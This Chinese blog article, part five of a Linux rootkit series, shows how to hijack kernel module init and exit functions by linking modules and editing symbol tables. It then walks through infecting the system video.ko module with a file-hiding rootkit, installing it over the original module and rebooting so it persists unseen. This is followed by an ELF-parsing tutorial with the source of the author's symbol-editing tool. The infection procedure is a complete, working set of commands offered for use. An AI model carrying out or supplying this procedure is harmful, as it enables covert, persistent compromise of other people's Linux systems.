前言

照旧,本文所需的相关代码位于如下代码仓库:Github

测试建议:为了愉快地 Happy Hacking,请不要在物理机玩火。

概要

本文分为两大部分, 第一部分是基于链接与修改符号表感染并劫持目标内核模块的初始函数与退出函数,使其成为寄生的宿主,实现隐蔽与持久性。第二部分为结合三个实际例子 ( lssec, lssym,setsym )的ELF 文件解析起步, 这一部分提供了我们第一部分进行 HappyHacking 所需要的工具基础, setsym,同时也为更好的理解第一部分提供帮助信息。

第一部分:感染系统关键内核模块实现持久化

1. 编译并安装所需的 ELF 文件修改程序

如果你之前已经 git clone 过代码仓库, 那么现在就可以简单地 git pull来获取最新的改动。

进入 lssec.c, lssym.c, setsym.c 所在的文件夹,编译并安装这几个程序。

$ make

$ sudo make install

这时候,这几个程序就已经安装到 /usr/bin 目录下了, 可以使用了。

注 1 : lssec 相当于自己造的一个功能不完善的 readelf -S ,lssym 相当于自己造的一个功能不完善的 readelf -s 或者 objdump -t 。因此,只有 setsym 是必须的,其他两个可以不要。 笔者写 lssec 与lssym 是为了在后面讲解 ELF 解析的时候用作起步实例。

注 2 :我们会在文章的第二部分拿这几个程序当实际的例子来讲解 ELF文件的结构与解析。现在,我们直接拿起它们用就好了。

注 3 : 这几个程序只支持 64 比特 ELF 文件。 如果你需要支持 32 比特ELF 文件的工具,除了可以自行修改, 还可以使用参考资料的某篇文章提供的elfchger , 而这个工具只支持 32 比特 ELF 文件。

2. 内核模块函数的重定位与挂钩

演示用的简单内核模块

我们拿下面的这个简单的内核模块作试验演示。

int
noinj_init(void)
{pr_alert("noinj: %s\n", "Greetings the World!");return 0;
}void
noinj_exit(void)
{pr_alert("noinj: %s\n", "Farewell the World!");return;
}module_init(noinj_init); // 请注意,这次我们使用了个性化的初始函数名,``noinj_init`` 。
module_exit(noinj_exit); // 退出函数也是。int
fake_init(void) // 用来演示符号表项挂钩的假初始函数。
{noinj_exit(); // 先调用真的初始函数。pr_alert("==> NOINJ: %s\n", "GR33TINGS THE W0RLD!");return 0;
}int
fake_exit(void) // 用来演示符号表项挂钩的假退出函数。
{noinj_exit(); // 先调用真的退出函数。pr_alert("==> NOINJ: %s\n", "FAR3W311 THE W0RLD!");return 0;
}

编译之后我们可以得到一个 noinj.ko ,这是一个可重定位文件。 不妨用file 查看一下,如下所示。

$ file noinj.ko
noinj.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=9b497fbb081f193856750e1c2fad93b0c3331edf, not stripped

模块的编译过程与 module_init / module_exit 的分析

生成 noinj.ko 的大致过程是这样子的:编译器首先将所有源文件编译成目标文件, (拿 noinj 举个例子,就是noinj.c -> noinj.o ), 同时,编译器会自动生成一个源文件,(在我们的例子中叫 noinj.mod.c ), 编译之后(即 noinj.mod.c ->noinj.mod.o ) 再与已经编译好的目标文件(即 noinj.o )链接到一起,得到一个可重定位文件(即 noinj.ko )。

noinj.mod.c 中的内容, 我们主要关心 __this_module 的定义,如下。

__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = { // 将 __this_module 变量放到 .gnu.linkonce.this_module 区间里。.name = KBUILD_MODNAME,.init = init_module, // 填充初始函数为 init_module
#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module, // 填充退出函数为 cleanup_module
#endif.arch = MODULE_ARCH_INIT,
};

我们在编写内核模块的时候不一定会使用 init_module 与 cleanup_module作为初始函数与退出函数的名字;而是使用个性化的名字, 比如 noinj_init与 noinj_exit , 再用 module_init 与 module_exit注册我们的个性化命名的函数为初始函数与退出函数。 这时候问题来了,module_init 与 module_exit 是怎么完成从个性化名字(比如 noinj_init与 noinj_exit ) 到标准名字(即 init_module 与 cleanup_module)的联系呢? 请看源代码,位于 linux/module.h 。

/* Each module must use one module_init(). */
#define module_init(initfn)                  \static inline initcall_t __inittest(void)       \{ return initfn; }                  \int init_module(void) __attribute__((alias(#initfn))); // 请看这里,使用 ``GCC`` 编译器的拓展功能,函数别名属性,将个性化名字与标准名字 ``init_module`` 关联起来。/* This is only required if you want to be unloadable. */
#define module_exit(exitfn)                  \static inline exitcall_t __exittest(void)       \{ return exitfn; }                  \void cleanup_module(void) __attribute__((alias(#exitfn))); // ``cleanup_module`` 也是。

观察重定位记录与符号表

下面我们看看这个内核模块的重定位记录: readelf -r noinj.ko , 重点看看.gnu.linkonce.this_module 的记录, 包含 init_module 与cleanup_module 符号。

Relocation section '.rela.gnu.linkonce.this_module' at offset 0x1aa88 contains 2 entries:Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000158  001c00000001 R_X86_64_64       0000000000000000 init_module + 0
0000000002f8  001a00000001 R_X86_64_64       0000000000000020 cleanup_module + 0

请结合符号表( readelf -s noinj.ko )来看。

$ readelf -s noinj.ko
Symbol table '.symtab' contains 34 entries:Num:    Value          Size Type    Bind   Vis      Ndx Name0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND// 这儿省略一部分。25: 0000000000000000   832 OBJECT  GLOBAL DEFAULT   11 __this_module26: 0000000000000020    24 FUNC    GLOBAL DEFAULT    2 cleanup_module // 真的退出函数的记录,名字是 cleanup_module,Value 是 0x20。27: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND __fentry__28: 0000000000000000    27 FUNC    GLOBAL DEFAULT    2 init_module // 真的初始函数的记录,名字是 init_module, Value 是 0x00。29: 0000000000000040    46 FUNC    GLOBAL DEFAULT    2 fake_init // 假的初始函数的记录,Value 是 0x40。30: 0000000000000000    27 FUNC    GLOBAL DEFAULT    2 noinj_init // 真的初始函数的记录,名字是 noinj_init, 但 Value 是 0x00,与 init_module 一样。31: 0000000000000020    24 FUNC    GLOBAL DEFAULT    2 noinj_exit // 真的退出函数的记录,名字是 noinj_exit, 但 Value 是 0x20,与 cleanup_module 一样。32: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND printk33: 0000000000000070    46 FUNC    GLOBAL DEFAULT    2 fake_exit // 假的初始函数的记录,Value 是 0x70。

如果我们将 init_module 符号的值,改成 fake_init 符号的值,那么在模块加载进行符号解析、重定位的时候, init_module 会解析、定位到fake_init , 从而导致我们的假初始函数被执行,而真的初始函数不会执行(当然,因为我们假初始函数会调用真的初始函数,所以真的初始函数也会执行,但是这已经是在我们的掌控之下了)。

cleanup_module 类似。下面我们通过实验来演示这一点。

实验演示符号表项的劫持

setsym 的用法是这样子的,有两种:一,传递两个位置参数,第一个是内核模块路径,第二个是符号名, 这时 setsym会把这个符号的值打印出来;二,传递三个位置参数,第一个是内核模块路径,第二个是符号名,第三个是值, 这时 setsym会把这个符号的值修改成给定的值。 简言之,如下。

// 第一种用法,获取符号的值。
setsym <module_path> <symbol_name>// 第二种用法,设置符号的值。
setsym <module_path> <symbol_name> <symbol_value>

实验操作如下。

提示 :下面的操作已经写在代码仓库里对应目录的 infect.sh 里了。

// 构建模块。
$ make// 复制一份副本用于对照演示。
$ cp noinj.ko infected.ko// 将副本的 init_module 符号值改成 fake_init 符号值。
$ setsym infected.ko init_module $(setsym infected.ko fake_init)// 将副本的 cleanup_module 符号值改成 fake_exit 符号值。
$ setsym infected.ko cleanup_module $(setsym infected.ko fake_exit)
// 加载原始的模块。
$ insmod noinj.ko// 卸载载原始的模块。
$ rmmod noinj// 加载修改过的副本。
$ insmod infected.ko// 卸载修改过的副本。
$ rmmod noinj // 注意模块名要用宿主的,即 noinj

正常情况下,系统应该调用真的初始函数,而假的初始函数根本没有执行的机会,因为没人调用了它。

但是对比原本与副本加载、卸载过程中 dmesg 打印出来的消息,可以得知,副本里的真初始函数是被假初始函数调用的,而假初始函数则是被系统调用的。 也就是说,完成了对初始函数的劫持 / 挂钩。

效果如下图所示。

3. 感染一个示例内核模块

在上一小节,我们演示了将初始函数与退出函数劫持成同一个模块里的另一个函数,现在我们看看怎样把一个良民模块的初始函数与退出函数劫持成另一个恶意模块的初始函数与退出函数。此外,恶意模块的代码也要注入到良民模块里, 这样,恶意模块才能起作用。

修改 fshid 使其便于寄生

这次我们用的良民模块跟上面那个 noinj 没什么本质差别,换了下名字来彰显代码注入这个话题,所以叫 codeinj 。

恶意模块的话,就用笔者的上一篇文章里的 fshid ; 注意,我们需要对 fshid 作一些必要的改动。一来,要把初始函数从 init_module 改成 fshid_init , cleanup_module也类似改成 fshid_exit ; 这是为了避免与良民模块出现名字冲突。二来,我们要在 fshid_init 里调用良民模块(即 codeinj )的初始函数(即 codeinj_init ), 类似地, fshid_exit 里调用codeinj_exit ;这是为了让我们的挂钩对宿主模块(即良民模块)的功能不产生影响,使别人观察不到我们的恶意模块的存在。

将 fshid 感染到示例模块中

具体操作如下。

提示 :下面的操作已经写在代码仓库里对应目录的 infect.sh 里了。

// 构建已经修改好适合寄生的恶意模块。
$ (cd fshid && make --quiet)// 构建良民模块(即宿主模块)。
$ make --quiet// 将寄生模块与宿主模块链接到一起。
// 请注意顺序。
$ ld -r codeinj.ko fshid/fshidko.ko -o infected.ko// 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值
$ setsym infected.ko init_module $(setsym infected.ko fshid_init)// 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值
$ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit)// 加载被寄生了的宿主。
$ insmod infected.ko// 测试看看那个文件能不能列举出来:结果应该是不能。
$ ls -al fshid/test$ rmmod codeinj // 注意模块名要用宿主的,即 codeinj// 再测试看看那个文件能不能列举出来:结果应该是能。
$ ls -al fshid/test

结果如图:

4. 感染系统中的内核模块

现在,我们开始做点正事,感染系统关键内核模块搭顺风车实现隐蔽持久化。

确定目标并采集必要信息

在系统启动的时候,有一些内核模块会自动加载, Rootkit的内核模块可以寄生到这些模块上,实现实现隐蔽持久。

通过 lsmod 随意找个没被使用的模块,笔者就拿 video 动手了,并在滚到最新的 Kali ( 4.6.0-kali1-amd64 )上实践,读者需要根据自己动手的环境进行一些必要的调整。

先找到它的文件。 尝试在 /lib/modules/$(uname -r) 目录下面查找一下,find /lib/modules/$(uname -r) -name video。结果如下。

$ find /lib/modules/$(uname -r) -name video.ko
/lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko

接下来尝试判断目标模块的初始函数与退出函数的个性名字。 笔者顺手找到了video 模块的源代码, 位于内核源码(笔者手里的版本是 4.6.2)树的drivers/acpi/acpi_video.c 。 摘取关键片段如下,我们可以看到 video模块的初始函数与退出函数是 acpi_video_init 与 acpi_video_exit 。

module_init(acpi_video_init);
module_exit(acpi_video_exit);

将 fshid 感染到系统模块中

一切准备就绪,开始行动。

提示 :下面的操作已经写在代码仓库里对应目录的 infect.sh 里了。

// 复制目标模块到实验的当前目录。
$ cp /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko .// 检查一下我们对初始函数与退出函数的判断是否正确。
$ readelf -s video.ko | grep -e grep -e acpi_video_init -e acpi_video_exit// 把它的初始函数与退出函数的绑定改成 global 。
// 后面会解释一下这一步的必要性。
$ objcopy video.ko gvideo.ko --globalize-symbol acpi_video_init --globalize-symbol acpi_video_exit// 检查一下 objcopy 是否成功。
$ readelf -s gvideo.ko | grep -e grep -e acpi_video_init -e acpi_video_exit// 构建已经修改好适合寄生的恶意模块。
// 后面还会解释一下要怎么修改。
$ (cd fshid && make --quiet)// 将寄生模块与宿主模块链接到一起。
// 请注意顺序。
$ ld -r gvideo.ko fshid/fshidko.ko -o infected.ko// 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值
$ setsym infected.ko init_module $(setsym infected.ko fshid_init)// 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值
$ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit)// 卸载系统本来就加载了的 video 模块。
$ rmmod video// 加载寄生了恶意模块的 video 的模块。
// 观察 dmesg 的输出。
$ insmod infected.ko// 测试隐藏的那个文件能不能列举出来:结果应该是不能。
$ ls -al fshid/test$ rmmod video // 注意模块名要用宿主的,即 video// 再测试隐藏的那个文件能不能列举出来:结果应该是能。
$ ls -al fshid/test

参考效果与重启测试

测试效果截图如下:

如果测试正常,那么我们可以用被感染的模块替换调原来的那个健康的模块了。

// 备份健康的 video 模块。
$ mv /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko.bak
// 把被感染的 video 模块复制到原来健康模块的位置。
$ cp infected.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko// 重启系统。
$ reboot

系统重启之后检查 dmesg 日志并测试是否可以查看到我们的隐藏文件,以此来判断我们的恶意模块是否正常工作。

看下图,我们可以看到,在系统启动的初期, 我们感染到 video模块里的代码打印出来的启动信息。 显然,我们的感染是成功。

系统重启之后,进行文件隐藏是否起作用的测试。参考结果如下图。

如何修改 fshid 使其便于寄生到真实的系统模块

在第 3 小节感染示例模块的时候,我们就对 fshid 做了一些必要的修改。请注意,在用来感染实际的系统模块时,我们还要多做一点改动。

改动的第一点是把 init_module 与 cleanup_module 改成 fshid_init 与fshid_exit 来避免名字冲突。 这一点改动与第 3 小节是一样的。

第二点就是,在 fshid_init 里调用 acpi_video_init , 在 fshid_exit里调用 acpi_video_exit 来使宿主被感染之后依旧能正常工作。第二点也与第3 小节类似。

最后是与第 3 小节不同的一个改动, 在定义 fshid_init 的时候前面加上__init , 定义 fshid_exit 的时候前面加上 __exit 。

这是因为系统模块的初始函数与退出函数在定义的时候通常都加上了这两个修饰前缀。它们的作用是把函数的代码放到特殊的代码区间里 (也就是说,不放到 .text区间里)。 这一点我们要与被感染的模块保持一致。

把系统模块初始函数与退出函数的绑定改成 global 的必要性

系统模块的初始函数与退出函数在定义的时候通常也都会加上 static ,这就使得这两个函数只在它那个源码文件的目标文件里可见,我们也就不能在我们的假初始函数与假退出函数里调用了。

所以,我们要先用 objcopy --globalize-symbol 把这两个函数从 local变成 global 。

5. 小结

到此,我们详细讨论了通过链接、修改符号表来感染其他模块并劫持 /挂钩其他模块的初始函数与退出函数,并将目标模块变成我们的宿主,依托目标模块活动。

需要说明的是,对符号的具体解析、重定位细节,本文没有深入,且待后续的分解。

另外,本文使用的 ld 与 objcopy 在普通用户的机器上很可能没有。也就是说,我们其实需要自己实现链接与把符号从 local改成 global的功能。考虑到篇幅有限,本文对这两个的实现不做讲解。

第二部分: ELF 文件解析初步

示例一:列举所有区间的名字、文件偏移等信息:lssec

分析 ELF 头部

ELF 文件的起始部分为 ELF 头部, ELF 头部有两种, 即 Elf32_Ehdr (32比特 ELF 文件头部) 与 Elf64_Ehdr (64 比特 ELF 文件头部)。

我们以 Elf64_Ehdr 为例看看其成员的含义。

typedef struct
{unsigned char  e_ident[EI_NIDENT]; // ELF 特征码与其他信息。Elf64_Half     e_type; // 类型。Elf64_Half     e_machine; // 架构。Elf64_Word     e_version; // 版本。Elf64_Addr     e_entry; // 入口点虚拟地址。Elf64_Off  e_phoff; // 程序头表的文件偏移。Elf64_Off  e_shoff; // 区间头表的文件偏移。Elf64_Word     e_flags;Elf64_Half     e_ehsize; // ELF 头部的大小(单位:字节)。Elf64_Half     e_phentsize; // 程序头表项的大小(单位:字节)。Elf64_Half     e_phnum; // 程序头表项的数目。Elf64_Half     e_shentsize; // 区间头表项的大小(单位:字节)。Elf64_Half     e_shnum; // 区间头表项的数目。Elf64_Half     e_shstrndx; // 区间头字符串表在区间头表的索引。
} Elf64_Ehdr;

头部的前 EI_NIDENT 字节数据(即结构体中的 e_ident 成员) 为 ELFIdentification, 其中包括特征码,比特类型(即 32 比特或者 64 比特)与其他信息(比如端序 )。

具体解析的时候,我们先从文件的起始处读取 EI_NIDENT字节的内容到内存中,从中判断出文件的比特类型,在知道了文件的比特类型之后,我们就可以确定该用 Elf32_Ehdr 还是用 Elf64_Ehdr 。

本文涉及的所有操作均以 Elf64_Ehdr + 小端序为例。

结合示例代码来理解。

// 省略打开文件部分。unsigned char e_ident[EI_NIDENT];
// 读取文件起始 ``EI_NIDENT`` 字节的内容。
if (fread(e_ident, 1, EI_NIDENT, fp) != EI_NIDENT) {fprintf(stderr, "%s\n", "Incomplete ELF Identification!");return EXIT_FAILURE;
}// 判断 ``ELF`` 特征码是否正确。
// ``ELFMAG`` 与 ``SELFMAG`` 定义于系统头文件 ``elf.h`` 中,
// 分别为特征码与特征码的大小。
if (memcmp(e_ident, ELFMAG, SELFMAG) != 0) {fprintf(stderr, "%s\n", "Bad ELF Magic Number!");return EXIT_FAILURE;
}// 判断是否是 64 比特小端序。
// 这里使用的宏比如 ``EI_CLASS`` 与 ``ELFCLASS64`` 均定义于 ``elf.h`` 。
if (e_ident[EI_CLASS] != ELFCLASS64 || e_ident[EI_DATA] != ELFDATA2LSB) {fprintf(stderr, "%s\n", "We Only Support ELF64 LE!");return EXIT_FAILURE;
}Elf64_Ehdr header;
// 退回到文件起始。
fseek(fp, 0, SEEK_SET);
// 读取一个 ``Elf64_Ehdr`` 大小的内容,
// 也就是读取 ``ELF`` 头部。
if (fread(&header, 1, sizeof header, fp) != sizeof header) {fprintf(stderr, "%s\n", "Incomplete ELF Header!");return EXIT_FAILURE;
}

分析区间头部

上面我们讨论了 ELF 头部的结构与读取方式,接下来我们看看怎样处理区间头部,区间头部也分两种, 32 比特的叫Elf32_Shdr ,自然 64 比特的也就叫 Elf64_Shdr 。

以 Elf64_Shdr 为例,成员含义如下。

typedef struct
{Elf64_Word     sh_name; // 区间名(字符串表索引)。Elf64_Word     sh_type; // 区间类型。Elf64_Xword    sh_flags; // 区间标志。Elf64_Addr     sh_addr; // 区间虚拟地址。Elf64_Off  sh_offset; // 区间文件偏移。Elf64_Xword    sh_size; // 区间大小(单位:字节)。Elf64_Word     sh_link;Elf64_Word     sh_info;Elf64_Xword    sh_addralign;Elf64_Xword    sh_entsize; // 这个会在下面 lssym 的时候解释。
} Elf64_Shdr;

值得注意的是, sh_name 成员并不是一个字符串,而是一个整数,为区间头表字符串表的索引。那我们怎么拿到这个区间的名字呢?

回想我们前面讲的 ELF 头部结构, Elf64_Ehdr 里的 e_shoff成员是区间头表的文件偏移, e_shentsize是区间头表项的大小(单位:字节), e_shnum是区间头表项的数目;也就是说, 从文件偏移 e_shoff 开始e_shentsize * e_shnum 大小的内容 就是区间头表。这样一来,我们可以把整个区间头表读取到内存里。 而 e_shstrndx是字符串表在区间头表的索引, 通过访问这个索引得到字符串表的头部,并进而根据头部中的信息将字符串表的内容读取出来, 再 sh_name作偏移访问字符串表就可以拿到区间名了。

结合代码示例理解。

size_t size = header.e_shnum * header.e_shentsize;
// 分配区间头表大小的内存。
Elf64_Shdr *section_header_table = malloc(size);
if (section_header_table == NULL) {perror("malloc");return EXIT_FAILURE;
}// 定位到文件偏移 ``e_shoff`` 处。
fseek (fp, header.e_shoff, SEEK_SET);
// 读取区间头表。
if (fread(section_header_table, 1, size, fp) != size) {fprintf(stderr, "%s\n", "Incomplete Section Header Table!");return EXIT_FAILURE;
}// 得到字符串表的区间头。
Elf64_Shdr shstrtab = section_header_table[header.e_shstrndx];
// 区间大小。
size = shstrtab.sh_size;
// 分配内存。
char *section_header_string_table = malloc(size);
if (section_header_string_table == NULL) {perror("malloc");return EXIT_FAILURE;
}// 定位到字符串表所在文件偏移。
fseek (fp, shstrtab.sh_offset, SEEK_SET);
// 读取字符串表。
if (fread(section_header_string_table, 1, size, fp) != size) {fprintf(stderr, "%s\n", "Incomplete Section Header String Table!");return EXIT_FAILURE;
}

遍历所有区间并打印其信息

然后我们就可以遍历区间头表并将其名字、文件偏移等信息打印出来。代码如下。

printf("%s\n", "number offset     size   entsize   name");
for (unsigned num = 0; num < header.e_shnum; num += 1) {Elf64_Shdr section_header = section_header_table[num];char *name = string_table + section_header.sh_name;printf("%4u %8llx %8llx %8llx %s\n",num, section_header.sh_offset,section_header.sh_size, section_header.sh_entsize,name);
}

参考效果

编译 lssec.c 得到 lssec 。

左边是 ./lssec /bin/ls , 右边是对比使用的 readelf -S /bin/ls 。

示例二:列举所有符号的名字、值等信息:lssym

上面的示例一完成了对区间头表的遍历。现在我们再看看怎么读取符号表。

基于示例一遍历区间头表的代码, 我们可以实现一个 get_section_by_name ,即通过区间名字拿到对应的区间头。

然后我们通过 get_section_by_name 拿到 .symtab (即符号表)与.strtab (符号字符串表)的区间头,进而根据这两个头把这两个区间读到内存中来。 看如下代码。

// 获取 .symtab 的头。
Elf64_Shdr *symtab = get_section_by_name(".symtab",header,sec_header_tab,shstrtab);// 这儿省略获取 .strtab 的头,与获取 .symtab 的头类似。// 这儿省略对是否获取成功的检查。// 分配 .symtab 大小的内存。
Elf64_Sym *syms = malloc(symtab->sh_size);
if (syms == NULL) {perror("malloc");return EXIT_FAILURE;
}
// 定位到 .symtab 的文件偏移。
fseek(fp, symtab->sh_offset, SEEK_SET);
// 读取 .symtab。
if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) {fprintf(stderr, "%s\n", "Incomplete Symbol Table!");return EXIT_FAILURE;
}// 这儿省略 .strtab 的读取,与 .symtab 的读取类似。

此时, .symtab 与 .strtab 都已经读到内存里了。 下面我们看看,.symtab 的结构。

区间头有一个 sh_entsize 成员,这个成员的含义是,如果这个区间保存的是一张表, 那么 sh_entsize就是这张表中每个成员的大小。 回想一下,区间头里的 sh_size是区间的大小, 所以对 .symtab 而言,它有 sh_size / sh_entsize项成员。

每项成员由结构体 Elf64_Sym 描述,定义如下。

typedef struct
{Elf64_Word     st_name; // 符号名字(字符串表索引)unsigned char  st_info; // 类型与绑定。unsigned char st_other;Elf64_Section  st_shndx;Elf64_Addr     st_value; // 符号的值。Elf64_Xword    st_size;
} Elf64_Sym;

Elf64_Sym 中的 st_name 是一个整数, 为符号的名字在 .strtab中的索引, 这一点与之前区间头( Elf64_Shdr )里的 sh_name 类似。

知道了这些,我们就可以遍历整个符号表并将符号的名字,符号的值等信息打印出来,如下代码所示。

printf("%s\n","num    index    size    value  info other  name");
int total = symtab->sh_size / symtab->sh_entsize;
for (int count = 0; count < total; count += 1) {printf("%4llu %4llx %8llu %8llx %4x %4x %s\n",count,syms[count].st_shndx,syms[count].st_size,syms[count].st_value,syms[count].st_info,syms[count].st_other,strs + syms[count].st_name);
}

参考效果

编译 lssym.c 得到 lssym ,如下图所示, 左边是./lssym ../noinj/noinj.ko , 右边是用来对照的readelf -s ../noinj/noinj.ko 。

示例三:获取或修改给定符号的值:setsym

既然我们已经能够遍历整个符号表了,那么要获取给定符号的值,毫无压力。

那么修改给定符号的值呢,也很简单,请看如下代码,基于示例二的遍历逻辑修改而来。

for (int count = 0; count < total; count += 1) {// 判断当前遍历到的符号是不是我们给定的符号。// 请注意,argv[2] 位置参数用来给定符号的名字。if (strcmp(strs + syms[count].st_name, argv[2]) == 0) {// 如果是,就会执行进来。// 判断位置参数的个数。if (argc == 4) {// 如果给定了 3 个位置参数,执行到这里。// 这时是 setsym 的第二种用法。// 即 setsym <module_path> <symbol_name> <symbol_value> 。// 也就是设置给定符号的值。// 取当前符号。Elf64_Sym sym = syms[count];char *endp;errno = 0;// 将 argv[3] 转换成整数。// 注意 argv[3] 是需要设置的给定符号的值。unsigned long long val = strtoull(argv[3], &endp, 0);// 处理转换时可能出现的错误。if ((errno == ERANGE && val == ULLONG_MAX) ||(errno != 0 && val == 0)) {perror("strtoull");return EXIT_FAILURE;}// 处理转换时可能出现的错误。if (endp == argv[3]) {fprintf(stderr, "%s\n", "No Valid Number!");return EXIT_FAILURE;}// 把符号的值改成给定的值。sym.st_value = val;// 计算当前符号距离 .symtab 起始的偏移。long delta = count * symtab->sh_entsize;// 定位到当前符号的文件偏移。fseek(fp, symtab->sh_offset + delta, SEEK_SET);// 写入修改后的符号。if (fwrite(&sym, 1, sizeof sym, fp) != sizeof sym) {fprintf(stderr, "%s\n", "Incomplete Sym Write!");return EXIT_FAILURE;} else {fprintf(stderr, "%s\n", "Writing complete.");}} else {// 如果给定了 2 个位置参数,执行到这里。// 请注意,我们在程序的开始部分就把 argc 限制在了// 3 或者 4 。// 这时是 setsym 的第一种用法。// 即 setsym <module_path> <symbol_name> 。// 获取给定符号的值。printf("0x%llx\n", syms[count].st_value);}}
}

参考效果

考虑到我们在第一部分已经基于 setsym 完成了我们的 Happy Hacking 。这里就不必举参考用例了。

第三部分: 参考资料与延伸阅读

1. 参考资料

  • Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x,http://phrack.org/issues/68/11.html#article
  • Tool Interface Standard (TIS) Executable and Linking Format (ELF)Specification Version 1.2,http://refspecs.linuxbase.org/elf/elf.pdf

2. 延伸阅读

  • Infecting Loadable Kernel Modules,http://phrack.org/issues/61/10.html#article
  • Static Kernel Patching, http://phrack.org/issues/60/8.html#article

Linux Rootkit 系列五:感染系统关键内核模块实现持久化相关推荐

  1. Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试 ...

  2. linux rootkit 端口复用,Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能

    前言鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_c ...

  3. Linux学习系列五:Shell命令脚本的基本语法

    这个系列的Linux教程主要参考刘遄老师的<Linux就该这么学>.用的系统是RHEL8,如果遇见一些命令出现问题,请首先检查自己的系统是否一致,如果不一致,可网上查一下系统间某些命令之间 ...

  4. Linux Rootkit 系列四:对于系统调用挂钩方法的补充

    本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术. 1.背景 本次环境依然是linux 2.6系列内核,ubuntu10.04. 本篇文章及上篇文章的示例代码:Gith ...

  5. linux mkdir 系统调用,Linux Rootkit 系列四:对于系统调用挂钩方法的补充

    免责声明:本文介绍的安全知识方法以及代码仅用于渗透测试及安全教学使用,禁止任何非法用途,后果自负 前言 我将会把系列文章继续写下去,由于本系列文章novice同学也在写,所以我俩的顺序可能有点乱,不过 ...

  6. oracle ecology,Linux环境Oracle_10G部署Ecology系统关键步骤

    Linux环境Oracle 10G部署Ecology系统关键步骤 安装前 oracle安装依赖软件包: 如果是Red Hat Enterprise Linux 5 3CD版 Cd1: rpm -Uvh ...

  7. Linux Rootkit 系列二:基于修改 sys_call_table 的系统调用挂钩

    与第一篇文章作者所想象的不同,本文不打算给大家介绍三种不同的系统调用挂钩技术,相反,本文仅详细讲解最简单的系统调用挂钩方案,并且基于这个方案实现最基本的文件监视工具.这样,既可以让读者轻松上手进行实际 ...

  8. 【内核】嵌入式linux内核的五个子系统

    Perface Linux内核主要由进程调度(SCHED).内存管理(MM).虚拟文件系统(VFS).网络接口(NET)和进程间通信(IPC)5个子系统组成,如图1所示. 图1 Linux内核的组成部 ...

  9. Linux命令【五】系统函数

    系统文件函数 stat函数 指针如果没有const一般表示传出参数,如果加const表示传入参数 struct stat dev_t st_dev文件设备编号 ino_t st_ino节点 inode ...

最新文章

  1. Nginx 搭建负载均衡
  2. bat启动/停止oracle服务
  3. (013)java后台开发之Mac系统安装和配置tomcat步骤详解
  4. arm指令中mov和ldr及ldr伪指令的区别
  5. 【每周论文推荐】 初入深度学习CV领域必读的几篇文章
  6. 【LeetCode】105#从前序与中序遍历序列构造二叉树
  7. iconv android 编译,将iconv编译成lua接口
  8. jupyter配置到服务器_服务器端jupyter notebook映射到本地浏览器的操作
  9. 那些年我们一起写过的Python爬虫
  10. Linux中apt install的lock问题
  11. C语言课后习题(62)
  12. img之间出现缝隙的原因_神马情况?美缝剂施工出现脱胶是什么原因?
  13. 电脑系统怎么卸载驱动程序
  14. Linux定时任务-Cron表达式详解
  15. 记一次渗透之旅 ,网络安全学习至上
  16. 昨日种种皆成今我,切莫思量切莫哀
  17. Android系统安全 — 3.1-展锐平台secureboot安全启动流程和使用
  18. 爬虫常见的加密解密算法
  19. 酒水行业数字化转型解决方案
  20. LDAP搜索中的CN,OU,DC是什么?

热门文章

  1. arm的一些概念(ARM7、Cortex-M的区别)
  2. 北恒生物获德诚资本约1亿元A轮融资,德诚资本投资
  3. 容器开启数据服务之旅系列(一):Kubernetes如何解自建PostgreSQL运维之痛
  4. Python多版本共存之pyenv
  5. CentOS7安装iptables防火墙
  6. (NO.00001)iOS游戏SpeedBoy Lite成形记(二十二)
  7. svn导出文件进行比较
  8. 网站***是如何用脚本欺骗网友的
  9. xcode 学习笔记2:动态添加view
  10. 老焦专栏 | 如何做一个有说服力的方案?